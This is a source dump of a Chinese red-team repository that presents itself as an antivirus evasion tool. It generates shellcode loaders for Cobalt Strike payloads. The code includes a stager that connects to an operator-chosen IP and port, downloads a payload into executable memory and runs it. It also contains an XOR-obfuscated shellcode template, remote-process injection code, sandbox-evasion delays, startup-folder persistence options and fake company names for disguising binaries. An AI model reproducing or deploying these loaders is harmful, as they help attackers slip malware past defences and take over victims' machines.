├── images
├── 2021.ico
├── yr3.gif
├── step-1.jpg
├── step-2.jpg
├── yr3_exe.gif
├── eaaslogo.png
└── xred.team.png
├── 掩日2.0
├── trojan.ico
├── Properties
│ ├── Settings.settings
│ ├── AssemblyInfo.cs
│ ├── Settings.Designer.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── T_C_VirtualAlloc.cs
├── 掩日2.0.csproj.user
├── Program.cs
├── 掩日2.0.sln
├── Global.cs
├── Compiler.cs
├── Common.cs
├── T_EasyMode.cs
├── AboutBox1.cs
├── 掩日2.0.csproj
├── C_Template.cs
├── Form1.cs
├── Core.cs
├── AboutBox1.Designer.cs
├── Form1.Designer.cs
└── AboutBox1.resx
├── README.md
└── LICENSE
/images/2021.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/2021.ico
--------------------------------------------------------------------------------
/images/yr3.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/yr3.gif
--------------------------------------------------------------------------------
/掩日2.0/trojan.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/掩日2.0/trojan.ico
--------------------------------------------------------------------------------
/images/step-1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/step-1.jpg
--------------------------------------------------------------------------------
/images/step-2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/step-2.jpg
--------------------------------------------------------------------------------
/images/yr3_exe.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/yr3_exe.gif
--------------------------------------------------------------------------------
/images/eaaslogo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/eaaslogo.png
--------------------------------------------------------------------------------
/images/xred.team.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/xred.team.png
--------------------------------------------------------------------------------
/掩日2.0/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/掩日2.0/T_C_VirtualAlloc.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace 掩日2._0
7 | {
8 | class T_C_VirtualAlloc
9 | {
10 | public static string code = "";
11 |
12 | public static string Getcode()
13 | {
14 | code = "";
15 | return code;
16 | }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/掩日2.0/掩日2.0.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | zh-CN
11 | false
12 |
13 |
--------------------------------------------------------------------------------
/掩日2.0/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Windows.Forms;
5 |
6 | namespace 掩日2._0
7 | {
8 | static class Program
9 | {
10 | ///
11 | /// 应用程序的主入口点。
12 | ///
13 | [STAThread]
14 | static void Main()
15 | {
16 | Application.EnableVisualStyles();
17 | Application.SetCompatibleTextRenderingDefault(false);
18 | Application.Run(new Form1());
19 | }
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/掩日2.0/掩日2.0.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29418.71
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "掩日2.0", "掩日2.0.csproj", "{7898617D-08D2-4297-ADFE-5EDD5C1B828B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {FC2825C0-84C1-4FA4-A846-B23326C7C8AF}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/掩日2.0/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("掩日 2.0 - Advanced AV Evasion Tool For Red Team")]
9 | [assembly: AssemblyDescription("掩日 2.0 - Advanced AV Evasion Tool For Red Team")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("1y0n.com")]
12 | [assembly: AssemblyProduct("掩日2.0")]
13 | [assembly: AssemblyCopyright("MIT © 1y0n.com")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("7898617d-08d2-4297-adfe-5edd5c1b828b")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
33 | //通过使用 "*",如下所示:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("2.0.0.0")]
36 | [assembly: AssemblyFileVersion("2.0.0.0")]
37 |
--------------------------------------------------------------------------------
/掩日2.0/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace 掩日2._0.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/掩日2.0/Global.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace 掩日2._0
7 | {
8 | class Global
9 | {
10 | public static string MINGWPATH;
11 | public static string ICONPATH = "";
12 |
13 | public static string[] C_Execute = {"执行1-VirtualAlloc",
14 | "执行2-GetProcAddress",
15 | "注入现有进程",
16 | "注入新进程"};
17 |
18 | public static string[] CS_Execute_x64 = {"执行1-GetProcAddress",
19 | "执行2-VirtualProtect",
20 | "注入现有进程",
21 | "注入新进程"};
22 |
23 | public static string[] CS_Execute_x86 = {"执行1-GetProcAddress",
24 | "执行2-VirtualProtect"};
25 |
26 | public static string[] VM_Sandbox = {"不使用",
27 | "沙箱:延时约180秒",
28 | "虚拟机:简单反虚拟机"};
29 |
30 | //持久化,TODO
31 | public static string[] Persistence = { "不使用",
32 | "写入开机启动目录"};
33 |
34 | public static string[] Company_name = {"ApplePen", "SAVVYTECH", "TechyType", "TECHIEIE", "TechFLRRY", "TechCODER", "MicroSofter", "Gooogle",
35 | "Webuzz", "Tecazort", "Cyberry", "BigMi", "Facebowl", "Amazzon", "Hundred Poison", "BetaBet"};
36 |
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/掩日2.0/Compiler.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using System;
3 | using System.CodeDom.Compiler;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Text;
7 |
8 |
9 | namespace 掩日2._0
10 | {
11 | class Compiler
12 | {
13 | CSharpCodeProvider provider = new CSharpCodeProvider();
14 | CompilerParameters parameters = new CompilerParameters();
15 |
16 | public Compiler()
17 | {
18 | parameters.ReferencedAssemblies.Add("System.Core.dll");
19 | parameters.GenerateInMemory = false;
20 | parameters.GenerateExecutable = true;
21 | parameters.IncludeDebugInformation = false;
22 | parameters.ReferencedAssemblies.Add("mscorlib.dll");
23 | parameters.ReferencedAssemblies.Add("System.dll");
24 | }
25 |
26 | public void compileToExe(String code, String filePath, String Arch)
27 | {
28 |
29 | parameters.OutputAssembly = filePath;
30 | parameters.CompilerOptions = Arch;
31 |
32 | CompilerResults results = provider.CompileAssemblyFromSource(parameters, code);
33 |
34 | if (results.Errors.HasErrors)
35 | {
36 | StringBuilder sb = new StringBuilder();
37 |
38 | foreach (CompilerError error in results.Errors)
39 | {
40 | sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
41 | }
42 |
43 | throw new InvalidOperationException(sb.ToString());
44 | }
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/掩日2.0/Common.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace 掩日2._0
7 | {
8 | class Common
9 | {
10 | //生成随机字符串
11 | public static string GetRandomString(int length, bool useNum, bool useLow, bool useUpp, bool useSpe, string custom)
12 | {
13 | byte[] b = new byte[4];
14 | new System.Security.Cryptography.RNGCryptoServiceProvider().GetBytes(b);
15 | Random r = new Random(BitConverter.ToInt32(b, 0));
16 | string s = null, str = custom;
17 | if (useNum == true) { str += "0123456789"; }
18 | if (useLow == true) { str += "abcdefghijklmnopqrstuvwxyz"; }
19 | if (useUpp == true) { str += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; }
20 | if (useSpe == true) { str += "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"; }
21 | for (int i = 0; i < length; i++)
22 | {
23 | s += str.Substring(r.Next(0, str.Length - 1), 1);
24 | }
25 | return s;
26 | }
27 |
28 | //执行系统命令
29 | public static string Execute_Cmd(string cmd)
30 | {
31 | string output = "";
32 | System.Diagnostics.Process p = new System.Diagnostics.Process();
33 | p.StartInfo.FileName = "cmd.exe";
34 | p.StartInfo.UseShellExecute = false; //是否使用操作系统shell启动
35 | p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
36 | p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
37 | p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
38 | p.StartInfo.CreateNoWindow = true;//不显示程序窗口
39 | p.Start();//启动程序
40 |
41 | //向cmd窗口发送输入信息
42 | p.StandardInput.WriteLine(cmd + "&exit");
43 |
44 | p.StandardInput.AutoFlush = true;
45 |
46 | //获取cmd窗口的输出信息
47 | output = p.StandardOutput.ReadToEnd();
48 |
49 | p.WaitForExit();//等待程序执行完退出进程
50 | p.Close();
51 | return output;
52 | }
53 |
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/掩日2.0/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本: 4.0.30319.42000
5 | //
6 | // 对此文件的更改可能导致不正确的行为,如果
7 | // 重新生成代码,则所做更改将丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace 掩日2._0.Properties
12 | {
13 |
14 |
15 | ///
16 | /// 强类型资源类,用于查找本地化字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// 返回此类使用的缓存 ResourceManager 实例。
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("掩日2._0.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// 覆盖当前线程的 CurrentUICulture 属性
56 | /// 使用此强类型的资源类的资源查找。
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | 掩日 - 适用于红队的综合免杀工具
7 |
8 | 重大更新:此项目现已更新为在线版,可使用 PC 浏览器访问 https://eaas.xred.team/ 进行体验。
9 |
10 | ---
11 | 注意:开源版本已停止更新。
12 |
13 | ## 声明
14 |
15 | 1. 仅限用于技术研究和获得正式授权的测试活动!
16 | 2. 工作繁忙、水平低下、精力有限、时间仓促,代码未经过大量测试,如发现问题请提交 issue。
17 | 3. 主程序已被部分杀软标记,请添加到杀软白名单。
18 | 4. 测试的CS版本为4.4,测试的系统版本为Windows 10/11、Server 2008,其他版本自行测试。
19 |
20 |
21 | ## 下载
22 |
23 | [Github 下载](https://github.com/1y0n/AV_Evasion_Tool/releases/download/20231208/20231208.zip)
24 |
25 | ## 依赖
26 | 如果使用工具的全部功能,请确保满足以下全部条件:
27 | 1. 64位 Windows 7 或以上操作系统
28 | 2. .net framework 4.5 或更高版本
29 | 3. 安装 tdm-gcc 或者 tcc
30 | 4. 可选:安装64位 Go 语言环境
31 |
32 | tdm-gcc[下载地址](https://github.com/jmeubank/tdm-gcc/releases/download/v9.2.0-tdm64-1/tdm64-gcc-9.2.0.exe),双击运行,选择 CREATE,然后一直“下一步”即可。
33 |
34 | tcc[下载地址](http://download.savannah.gnu.org/releases/tinycc/tcc-0.9.27-win64-bin.zip),这个不需要安装,解压到任意目录即可(目录不要包含中文字符)。
35 |
36 | ## 使用
37 | 程序现在不会自动检测编译器了,而是使用了 YRconfig.ini 。在正式使用前,你需要更改这个文件的内容。格式参考如下:
38 |
39 | -----------
40 |
41 | [compiler]
42 |
43 | GCC="C:\TDM-GCC-64\bin\gcc.exe"
44 |
45 | GO="C:\Go\bin\go.exe"
46 |
47 | -----------
48 |
49 | 将对应 gcc.exe 和 go.exe 的路径替换成你自己的,然后重启主程序就可以使用了。
50 |
51 | 自20231208版本之后,你可以自己选择c编译器:tdm-gcc 或者 tcc。tcc 生成的体积更小(实测7kb,使用upx可以压到5kb以内),但是不支持自定义程序图标。
52 |
53 | **生成路径中不要包含中文和空格,否则会生成失败!**
54 |
55 | **针对Cobalt Strike,不要选择生成Windows分阶段木马、Windows无阶段木马,而是生成payload,最终是一个payload.c文件。**
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | ## 更新
66 | v20231208 2023年12月08日
67 | 1. 效果优化
68 | 2. 现在可以自由选择tdm-gcc或者tcc生成loader
69 |
70 | v20230823 2023年8月23日
71 | 1. 效果优化
72 |
73 | v20230417 2023年4月17日
74 | 1. 效果优化
75 |
76 | v20230329 2023年3月29日
77 | 1. 效果优化
78 | 2. 修复识别杀软时卡死问题
79 |
80 | v20230303 2023年3月3日
81 | 1. 效果优化
82 |
83 | v20221105 2022年11月5日
84 | 1. 一点儿更新
85 |
86 | v20220801 2022年8月1日
87 | 1. 效果优化
88 |
89 | v20220629 2022年6月29日
90 | 1. 优化某杀软误报问题
91 |
92 | v20220419 2022年4月19日
93 | 1. 免杀效果优化
94 |
95 | v20220329 2022年3月29日
96 | 1. bug修复(感谢@1191569886反馈)
97 |
98 | v20220325 2022年3月25日
99 | 1. bug修复(感谢@Tas9er反馈)
100 |
101 | v20220311 2022年3月11日
102 | 1. bug修复
103 | 2. 使用C语言生成的程序体积减小90%(可以使用UPX进一步压缩体积,最终可以压缩到11KB左右)
104 |
105 | v20220204 2022年3月7日
106 | 1. 全新的界面
107 | 2. 支持 Go 语言
108 | 3. 支持本地分离
109 | 4. 支持网络分离
110 | 5. 杀软对比功能
111 | 6. 更新检测功能
112 |
113 | ## 引用
114 | 感谢以下优秀项目/文章/网站,本工具修改和使用了其中的代码、资源或思路:
115 | 1. Dount (https://github.com/TheWover/donut)
116 | 2. avList (https://github.com/gh0stkey/avList)
117 | 3. goShellCodeByPassVT (https://github.com/fcre1938/goShellCodeByPassVT)
118 | 4. HandyControls (https://github.com/HandyOrg/HandyControl)
119 | 5. flaticon (https://www.flaticon.com)
120 |
--------------------------------------------------------------------------------
/掩日2.0/T_EasyMode.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace 掩日2._0
7 | {
8 | class T_EasyMode
9 | {
10 | public static string code = "";
11 | public static string GetCode()
12 | {
13 | code = @"#include
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 | /* init winsock */
20 | void winsock_init() {
21 | WSADATA wsaData;
22 | WORD wVersionRequested;
23 |
24 | wVersionRequested = MAKEWORD(2, 2);
25 |
26 | if (WSAStartup(wVersionRequested, &wsaData) < 0) {
27 | WSACleanup();
28 | exit(1);
29 | }
30 | }
31 |
32 |
33 | /* attempt to receive all of the requested data from the socket */
34 | int xxxxxx(SOCKET my_socket, void * buffer, int len) {
35 | int tret = 0;
36 | int nret = 0;
37 | void * startb = buffer;
38 | while (tret < len) {
39 | nret = recv(my_socket, (char *)startb, len - tret, 0);
40 | startb += nret;
41 | tret += nret;
42 | }
43 | return tret;
44 | }
45 |
46 | /* establish a connection to a host:port */
47 | SOCKET wxxxxxx(char * targetip, int port) {
48 | struct hostent * target;
49 | struct sockaddr_in sock;
50 | SOCKET my_socket;
51 |
52 | /* setup our socket */
53 | my_socket = socket(AF_INET, SOCK_STREAM, 0);
54 |
55 | /* resolve our target */
56 | target = gethostbyname(targetip);
57 |
58 |
59 | /* copy our target information into the sock */
60 | memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
61 | sock.sin_family = AF_INET;
62 | sock.sin_port = htons(port);
63 |
64 | /* attempt to connect */
65 | connect(my_socket, (struct sockaddr *)&sock, sizeof(sock));
66 |
67 | return my_socket;
68 | }
69 |
70 |
71 | int main(int argc, char * argv[]) {
72 | ULONG32 size;
73 | char * buffer;
74 | void (*function)();
75 |
76 | winsock_init();
77 |
78 | /* connect to the handler */
79 | char* testString2 = ((char[]){{{ip}}});
80 | char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'});
81 | char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
82 |
83 | //绕过沙箱
84 | clock_t start, finish;
85 | double Total_time;
86 | start = clock();
87 | Sleep(800);
88 | finish = clock();
89 |
90 | Total_time = (double)(finish - start);
91 | if(Total_time < 800)
92 | {
93 | return 0;
94 | }
95 |
96 |
97 | SOCKET my_socket = wxxxxxx(testString2, {{port}});
98 |
99 | /* read the 4-byte length */
100 | recv(my_socket, (char *)&size, 4, 0);
101 |
102 | /* allocate a RWX buffer */
103 | typedef LPVOID (WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
104 |
105 | VirtualAllocB p = (VirtualAllocB)GetProcAddress(GetModuleHandle(testString4), testString3);
106 | buffer = (char*)(*p)(NULL, size+5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
107 |
108 | /* prepend a little assembly to move our SOCKET value to the EDI register
109 | thanks mihi for pointing this out
110 | BF 78 56 34 12 => mov edi, 0x12345678 */
111 | buffer[0] = 0xBF;
112 |
113 | /* copy the value of our socket to the buffer */
114 | memcpy(buffer + 1, &my_socket, 4);
115 |
116 | /* read bytes into the buffer */
117 | xxxxxx(my_socket, buffer + 5, size);
118 |
119 | /* cast our buffer as a function and call it */
120 | (*(void(*)())buffer)();
121 |
122 | return 0;
123 | }
124 | ";
125 | return code;
126 | }
127 | }
128 | }
129 |
--------------------------------------------------------------------------------
/掩日2.0/AboutBox1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Linq;
6 | using System.Reflection;
7 | using System.Windows.Forms;
8 |
9 | namespace 掩日2._0
10 | {
11 | partial class AboutBox1 : Form
12 | {
13 | public AboutBox1()
14 | {
15 | InitializeComponent();
16 | this.Text = String.Format("关于");
17 | this.labelProductName.Text = AssemblyTitle;
18 | this.labelVersion.Text = String.Format("版本 {0}", AssemblyVersion);
19 | this.labelCopyright.Text = @"遵循 MIT协议 © 1y0n.com";
20 | this.labelCompanyName.Text = AssemblyCompany;
21 | this.textBoxDescription.Text = "Github主页:\r\nhttps://github.com/1y0n/AV_Evasion_Tool\r\n\r\n博客:\r\nhttps://1y0n.com" +
22 | "\r\n\r\n邮箱:\r\nBoot.Root.Loot@gmail.com";
23 | }
24 |
25 | #region 程序集特性访问器
26 |
27 | public string AssemblyTitle
28 | {
29 | get
30 | {
31 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false);
32 | if (attributes.Length > 0)
33 | {
34 | AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0];
35 | if (titleAttribute.Title != "")
36 | {
37 | return titleAttribute.Title;
38 | }
39 | }
40 | return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase);
41 | }
42 | }
43 |
44 | public string AssemblyVersion
45 | {
46 | get
47 | {
48 | return Assembly.GetExecutingAssembly().GetName().Version.ToString();
49 | }
50 | }
51 |
52 | public string AssemblyDescription
53 | {
54 | get
55 | {
56 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false);
57 | if (attributes.Length == 0)
58 | {
59 | return "";
60 | }
61 | return ((AssemblyDescriptionAttribute)attributes[0]).Description;
62 | }
63 | }
64 |
65 | public string AssemblyProduct
66 | {
67 | get
68 | {
69 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false);
70 | if (attributes.Length == 0)
71 | {
72 | return "";
73 | }
74 | return ((AssemblyProductAttribute)attributes[0]).Product;
75 | }
76 | }
77 |
78 | public string AssemblyCopyright
79 | {
80 | get
81 | {
82 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false);
83 | if (attributes.Length == 0)
84 | {
85 | return "";
86 | }
87 | return ((AssemblyCopyrightAttribute)attributes[0]).Copyright;
88 | }
89 | }
90 |
91 | public string AssemblyCompany
92 | {
93 | get
94 | {
95 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false);
96 | if (attributes.Length == 0)
97 | {
98 | return "";
99 | }
100 | return ((AssemblyCompanyAttribute)attributes[0]).Company;
101 | }
102 | }
103 | #endregion
104 |
105 | private void okButton_Click(object sender, EventArgs e)
106 | {
107 | this.Close();
108 | }
109 | }
110 | }
111 |
--------------------------------------------------------------------------------
/掩日2.0/掩日2.0.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}
8 | WinExe
9 | 掩日2._0
10 | 掩日 2.0 - Advanced AV Evasion Tool For Red Team
11 | v4.0
12 | 512
13 | true
14 | false
15 | publish\
16 | true
17 | Disk
18 | false
19 | Foreground
20 | 7
21 | Days
22 | false
23 | false
24 | true
25 | 0
26 | 2.0.0.%2a
27 | false
28 | true
29 |
30 |
31 | AnyCPU
32 | true
33 | full
34 | false
35 | bin\Debug\
36 | DEBUG;TRACE
37 | prompt
38 | 4
39 |
40 |
41 | AnyCPU
42 | pdbonly
43 | true
44 | bin\Release\
45 | TRACE
46 | prompt
47 | 4
48 |
49 |
50 | trojan.ico
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 | Form
67 |
68 |
69 | AboutBox1.cs
70 |
71 |
72 |
73 |
74 |
75 | Form
76 |
77 |
78 | Form1.cs
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 | AboutBox1.cs
89 |
90 |
91 | Form1.cs
92 |
93 |
94 | ResXFileCodeGenerator
95 | Resources.Designer.cs
96 | Designer
97 |
98 |
99 | True
100 | Resources.resx
101 |
102 |
103 | SettingsSingleFileGenerator
104 | Settings.Designer.cs
105 |
106 |
107 | True
108 | Settings.settings
109 | True
110 |
111 |
112 |
113 |
114 | False
115 | .NET Framework 3.5 SP1
116 | false
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
--------------------------------------------------------------------------------
/掩日2.0/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/掩日2.0/C_Template.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace 掩日2._0
7 | {
8 | class C_Template
9 | {
10 | public static string Base_Code = @"#include
11 | #include
12 | #include
13 | #include
14 |
15 | unsigned char code[] = ""{{shellcode}}"";
16 | void main()
17 | {
18 | clock_t start, finish;
19 | double Total_time;
20 | start = clock();
21 | Sleep(800);
22 | finish = clock();
23 | Total_time = (double)(finish - start);
24 | if(Total_time < 800)
25 | {
26 | return;
27 | }
28 | //{{sanbox_vm_detect}}
29 | //{{persistence}}
30 |
31 | int j = 234;
32 | int add = 12;
33 |
34 | for (int i = 0; i < sizeof(code); i++)
35 | {
36 | code[i] = code[i] ^ 123 ^ j;
37 | j += add;
38 | }
39 |
40 | //{{execute}}
41 |
42 | }";
43 |
44 | //执行方式:VirtualAlloc
45 | public static string VirtualALloc = @"char* p = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
46 | memcpy(p, code, sizeof(code));
47 | (*(void(*)())p)();";
48 |
49 | //执行方式:GetProcAddress
50 | public static string GetProcessAddress = @"char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'});
51 | char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
52 | FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3);
53 | char* BUFFER = (char*)Allocate(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
54 | memcpy(BUFFER, code, sizeof(code));
55 | (*(void(*)())BUFFER)();";
56 |
57 | //动态加载,TODO
58 | public static string Dynamic = "";
59 |
60 | //注入到现有进程,需要提供 pid
61 | public static string CreateRemoteThread = @"DWORD pid = {{pid}};
62 | char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'});
63 | typedef LPVOID (WINAPI* OpenProcessC)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
